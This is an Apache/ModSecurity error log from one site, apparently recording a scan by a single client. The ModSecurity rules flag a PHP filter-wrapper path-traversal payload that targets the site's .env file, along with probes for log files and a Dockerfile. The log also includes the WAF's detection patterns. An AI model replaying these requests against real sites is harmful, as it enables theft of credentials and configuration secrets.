[Fri Jul 17 08:55:12.488085 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&language=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&anything=kLlALAXkanGBKICWnBUPL7cDNXRw8dU0ScZK_B82e3dQuFcq9249OtBYfN6TQojdKx8gZrcHrPHWJg1skDoiRh382uwgoWQ7nV-vO7jMH2jBp7tpjOIhrlau5-mspOGZfd2WFo0DLDZspj-jEa8H_sI7GHB8ml96US5DMY8LIvdnNdeb03oi1DIRUkM-y5ZGszpMwafqPS-Xlow83DzJjCW4Cu64DTcSKsQz7oytefXMwKUDe1TMJuqp3RaXsT9GVm-jDUnf6TmjULjrcVx18g1Y&sid=NPNS44HDAJ5FC5JKNDXUJRBVRKWAB66M7RB6SZKORR7FNGV7G4KSDJHPPHGH2SQGYP2EOX5EDYDWJ3KHDQ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLwAAABQ"]
[Fri Jul 17 08:55:12.488152 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&language=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&anything=kllalaxkangbkicwnbupl7cdnxrw8du0sczk_b82e3dqufcq9249otbyfn6tqojdkx8gzrchrphwjg1skdoirh382uwgowq7nv-vo7jmh2jbp7tpjoihrlau5-mspogzfd2wfo0dldzspj-jea8h_si7ghb8ml96us5dmy8livdnndeb03oi1dirukm-y5zgszpmwafqps-xlow83dzjjcw4cu64dtcsksqz7oytefxmwkude1tmjuqp3raxst9gvm-jdunf6tmjuljrcvx18g1y&sid=npns44hdaj5fc5jkndxujrbvrkwab66m7rb6szkorr7fngv7g4ksdjhpphgh2sqgyp2eox5edydwj3khdq..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLwAAABQ"]
[Fri Jul 17 08:55:12.488218 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLwAAABQ"]
[Fri Jul 17 08:55:12.488266 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLwAAABQ"]
[Fri Jul 17 08:55:12.488783 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:language: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLwAAABQ"]
[Fri Jul 17 08:55:12.490240 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLwAAABQ"]
[Fri Jul 17 08:55:12.490451 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.491217 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmEgVnBK6wAv37w6sLwAAABQ"]
[Fri Jul 17 08:55:13.150217 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgj3RlmrtCoY_COpclwgAAAAg"]
[Fri Jul 17 08:55:13.201280 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.204598 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.210679 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.210679 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.217961 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.225912 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.226112 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.231310 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.234543 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.236106 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/wp-content/plugins/wp-smtp/wp-smtp.log"] [unique_id "almgmXRlmrtCoY_COpclwwAAAAg"]
[Fri Jul 17 08:55:13.236921 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/wp-content/plugins/wp-smtp/wp-smtp.log"] [unique_id "almgmXRlmrtCoY_COpclwwAAAAg"]
[Fri Jul 17 08:55:13.237238 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.237242 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.237428 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmXRlmrtCoY_COpclwwAAAAg"]
[Fri Jul 17 08:55:13.252623 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.264057 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.267351 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.273359 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.373539 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.375917 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.379443 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.379872 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.383827 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.384929 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.390819 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/php_errors.log"] [unique_id "almgmQ5GPQ6hs4VrfMpBVgAAAAY"]
[Fri Jul 17 08:55:13.391573 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/php_errors.log"] [unique_id "almgmQ5GPQ6hs4VrfMpBVgAAAAY"]
[Fri Jul 17 08:55:13.391746 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.391897 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmQ5GPQ6hs4VrfMpBVgAAAAY"]
[Fri Jul 17 08:55:13.393894 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "Dockerfile" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: Dockerfile found within REQUEST_FILENAME: /dockerfile"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/Dockerfile"] [unique_id "almgmSvekYYQ8uns4MwlQwAAAA0"]
[Fri Jul 17 08:55:13.395281 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/Dockerfile"] [unique_id "almgmSvekYYQ8uns4MwlQwAAAA0"]
[Fri Jul 17 08:55:13.396763 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.397065 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmSvekYYQ8uns4MwlQwAAAA0"]
[Fri Jul 17 08:55:13.396602 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.404976 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.418742 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.419987 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
